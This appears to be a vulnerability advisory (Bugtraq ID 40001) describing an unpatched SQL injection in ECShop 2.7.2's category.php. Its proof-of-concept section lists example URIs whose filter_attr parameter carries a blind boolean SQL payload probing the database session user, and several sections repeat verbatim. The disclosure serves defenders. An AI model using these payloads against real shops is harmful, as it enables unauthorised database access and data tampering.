ECShop 'category.php' SQL Injection Vulnerability
BID:40001
Info
ECShop 'category.php' SQL Injection Vulnerability
| Bugtraq ID: | 40001 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 07 2010 12:00AM |
| Updated: | May 07 2010 12:00AM |
| Credit: | Liscker |
| Vulnerable: |
ShopEx ECShop 2.7.2 |
| Not Vulnerable: | |
Discussion
ECShop 'category.php' SQL Injection Vulnerability
ECShop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ECShop 2.7.2 is vulnerable; other versions may also be affected.
ECShop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ECShop 2.7.2 is vulnerable; other versions may also be affected.
Exploit / POC
ECShop 'category.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2
http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2
Solution / Fix
ECShop 'category.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
ECShop 'category.php' SQL Injection Vulnerability
References:
References:
- ECShop Homepage (ShopEx)
- Injection of ECShop app (lis cker
)